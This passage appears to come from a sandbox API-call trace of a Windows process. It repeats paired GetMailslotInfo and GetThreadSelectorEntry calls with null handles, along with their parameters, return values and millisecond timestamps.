lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.947] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.947] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.948] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.948] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.948] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.948] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.948] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.948] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.948] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.948] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.948] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.948] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.948] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.948] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.948] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.948] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.948] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.948] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.948] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.948] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.948] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.949] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.949] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, 